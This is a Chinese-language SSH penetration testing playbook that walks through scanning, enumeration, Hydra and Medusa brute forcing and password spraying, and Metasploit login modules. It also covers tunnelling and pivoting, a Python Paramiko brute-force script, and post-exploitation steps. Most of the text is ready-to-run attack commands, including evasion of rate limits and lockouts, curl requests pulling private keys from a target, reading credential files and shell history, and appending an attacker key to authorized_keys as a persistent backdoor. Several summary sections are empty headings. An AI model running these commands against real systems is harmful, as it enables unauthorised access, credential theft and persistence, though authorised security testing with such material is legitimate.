SSH 渗透测试

目的

开展全面的 SSH 安全评估，涵盖服务发现与枚举、凭证攻击、漏洞利用、隧道技术以及渗透后活动。本技能覆盖针对 SSH 服务安全性的完整测试方法论。

前提条件

必备工具

• Nmap（含 SSH 相关 NSE 脚本）
• Hydra 或 Medusa（用于暴力破解）
• ssh-audit（用于配置分析）
• Metasploit Framework
• Python（需安装 Paramiko 库）

必备知识

• SSH 协议基础原理
• 公钥/私钥认证机制
• 端口转发概念
• Linux 命令行熟练操作能力

输出成果与交付物

1. SSH 枚举报告 —— 包含服务版本、支持的算法、配置详情等
2. 凭证评估报告 —— 包含弱密码、默认凭证等发现项
3. 漏洞评估报告 —— 包含已知 CVE、配置缺陷等
4. 隧道文档 —— 包含端口转发的具体配置与验证结果

核心工作流程

阶段 1：SSH 服务发现

在目标网络中识别 SSH 服务：

# 快速扫描 SSH 端口
nmap -p 22 192.168.1.0/24 --open

# 常见非标准 SSH 端口
nmap -p 22,2222,22222,2200 192.168.1.100

# 全端口扫描并过滤 SSH
nmap -p- --open 192.168.1.100 | grep -i ssh

# 服务版本探测
nmap -sV -p 22 192.168.1.100

阶段 2：SSH 枚举

收集 SSH 服务的详细信息：

# Banner 抓取
nc 192.168.1.100 22
# 输出示例：SSH-2.0-OpenSSH_8.4p1 Debian-5

# Telnet 方式抓取 Banner
telnet 192.168.1.100 22

# 使用 Nmap 脚本探测版本及主机密钥
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100

# 枚举支持的算法
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

# 获取主机密钥（完整输出）
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

# 检查支持的身份验证方式
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100

阶段 3：SSH 配置审计

识别配置弱点：

# ssh-audit —— 全面 SSH 配置审计
ssh-audit 192.168.1.100

# 指定端口进行审计
ssh-audit -p 2222 192.168.1.100

# 输出内容包括：
# - 算法使用建议
# - 已知安全漏洞
# - 加固建议

需重点关注的配置弱点：

• 弱密钥交换算法（如 diffie-hellman-group1-sha1）
• 弱加密套件（如 arcfour、3des-cbc）
• 弱消息认证码（MAC，如 hmac-md5、hmac-sha1-96）
• 已弃用的协议版本（如 SSHv1）

阶段 4：凭证攻击

使用 Hydra 进行暴力破解

# 单用户名 + 密码字典
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# 用户名列表 + 单密码
hydra -L users.txt -p Password123 ssh://192.168.1.100

# 用户名与密码双字典
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# 指定非标准端口
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

# 规避速率限制（慢速攻击）
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

# 显示详细过程
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100

# 首次成功即退出
hydra -l admin -P passwords.txt -f ssh://192.168.1.100

使用 Medusa 进行暴力破解

# 基础暴力破解
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# 批量目标
medusa -H targets.txt -u admin -P passwords.txt -M ssh

# 用户名列表 + 密码字典
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh

# 指定端口
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222

密码喷洒（Password Spraying）

# 对多个用户尝试同一常见密码
hydra -L users.txt -p Summer2024! ssh://192.168.1.100

# 尝试多个常见密码
for pass in "Password123" "Welcome1" "Summer2024!"; do
    hydra -L users.txt -p "$pass" ssh://192.168.1.100
done

阶段 5：基于密钥的身份验证测试

检测弱密钥或泄露密钥：

# 使用发现的私钥尝试登录
ssh -i id_rsa user@192.168.1.100

# 显式指定私钥（绕过 SSH Agent）
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100

# 强制使用密码认证（禁用密钥）
ssh -o PreferredAuthentications=password user@192.168.1.100

# 尝试常见密钥文件名
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
    ssh -i "$key" user@192.168.1.100
done

检查是否暴露了私钥：

# 私钥常见存储路径
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/

# Web 可访问密钥（使用 curl/wget 检查）
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz

阶段 6：漏洞利用

搜索已知漏洞：

# 搜索 Exploit
searchsploit openssh
searchsploit openssh 7.2

# 常见 SSH 相关漏洞
# CVE-2018-15473 —— 用户名枚举漏洞
# CVE-2016-0777 —— Roaming 功能漏洞
# CVE-2016-0778 —— 缓冲区溢出漏洞

# Metasploit 中的版本探测模块
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run

# 用户名枚举（CVE-2018-15473）
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run

阶段 7：SSH 隧道与端口转发

本地端口转发（Local Port Forwarding）

将本地端口映射至远程服务：

# 语法：ssh -L <本地端口>:<远程主机>:<远程端口> user@ssh_server

# 通过 SSH 访问内网 Web 服务器
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
# 此后访问 http://localhost:8080 即可

# 访问内网数据库
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100

# 多重转发
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100

远程端口转发（Remote Port Forwarding）

将本地服务暴露至远程网络：

# 语法：ssh -R <远程端口>:<本地主机>:<本地端口> user@ssh_server

# 将本地 Web 服务暴露给远程
ssh -R 8080:localhost:80 user@192.168.1.100
# 远程主机可通过 localhost:8080 访问

# 反向 Shell 回调
ssh -R 4444:localhost:4444 user@192.168.1.100

动态端口转发（Dynamic Port Forwarding，SOCKS 代理）

创建 SOCKS 代理以实现网络跳转（Pivoting）：

# 在本地 1080 端口启动 SOCKS 代理
ssh -D 1080 user@192.168.1.100

# 配合 proxychains 使用
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24

# 浏览器配置
# 设置 SOCKS 代理为 localhost:1080

ProxyJump（跳板主机）

通过多台 SSH 服务器链式连接：

# 经由中间跳板机访问目标
ssh -J user1@jump_host user2@target_host

# 多级跳转
ssh -J user1@jump1,user2@jump2 user3@target

# 使用 SSH 配置文件简化命令
# ~/.ssh/config
Host target
    HostName 192.168.2.50
    User admin
    ProxyJump user@192.168.1.100

阶段 8：渗透后活动

获取 SSH 访问权限后的后续操作：

# 检查 sudo 权限
sudo -l

# 查找 SSH 密钥文件
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# 检查 SSH 目录
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys

# 添加持久化后门（写入公钥）
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

# 提取 SSH 服务配置
cat /etc/ssh/sshd_config

# 列出其他用户账户
cat /etc/passwd | grep -v nologin
ls /home/

# 检查历史命令中是否包含凭证信息
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass

阶段 9：基于 Paramiko 的自定义 SSH 脚本

使用 Python 实现 SSH 自动化任务：

#!/usr/bin/env python3
import paramiko
import sys

def ssh_connect(host, username, password):
    """尝试使用凭证建立 SSH 连接"""
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(host, username=username, password=password, timeout=5)
        print(f"[+] 成功: {username}:{password}")
        return client
    except paramiko.AuthenticationException:
        print(f"[-] 失败: {username}:{password}")
        return None
    except Exception as e:
        print(f"[!] 错误: {e}")
        return None

def execute_command(client, command):
    """通过 SSH 执行命令"""
    stdin, stdout, stderr = client.exec_command(command)
    output = stdout.read().decode()
    errors = stderr.read().decode()
    return output, errors

def ssh_brute_force(host, username, wordlist):
    """使用字典对 SSH 进行暴力破解"""
    with open(wordlist, 'r') as f:
        passwords = f.read().splitlines()

    for password in passwords:
        client = ssh_connect(host, username, password.strip())
        if client:
            # 执行渗透后命令
            output, _ = execute_command(client, 'id; uname -a')
            print(output)
            client.close()
            return True
    return False

# 使用示例
if __name__ == "__main__":
    target = "192.168.1.100"
    user = "admin"

    # 单次凭证验证
    client = ssh_connect(target, user, "password123")
    if client:
        output, _ = execute_command(client, "ls -la")
        print(output)
        client.close()

阶段 10：Metasploit SSH 模块

使用 Metasploit 进行综合 SSH 测试：

# 启动 Metasploit
msfconsole

# SSH 版本扫描器
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

# SSH 登录暴力破解
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run

# SSH 公钥登录测试
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run

# 用户名枚举
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run

# 利用已建立的 SSH 会话进行渗透后操作
sessions -i 1

快速参考

SSH 枚举常用命令

暴力破解工具对比

端口转发类型

常见 SSH 端口

约束与限制

法律考量

• 必须事先获得书面授权
• 暴力破解可能违反服务条款（ToS）
• 须完整记录所有测试活动

技术限制

• 速率限制可能导致攻击失败
• Fail2ban 等防护机制可能封禁 IP
• 启用密钥认证时，密码类攻击将失效
• 启用双因素认证（2FA）将显著增加攻击复杂度

规避技术

• 采用慢速暴力破解：-t 1 -w 5
• 分散攻击来源 IP
• 谨慎使用基于时间的枚举技术
• 严格遵守账户锁定阈值

故障排查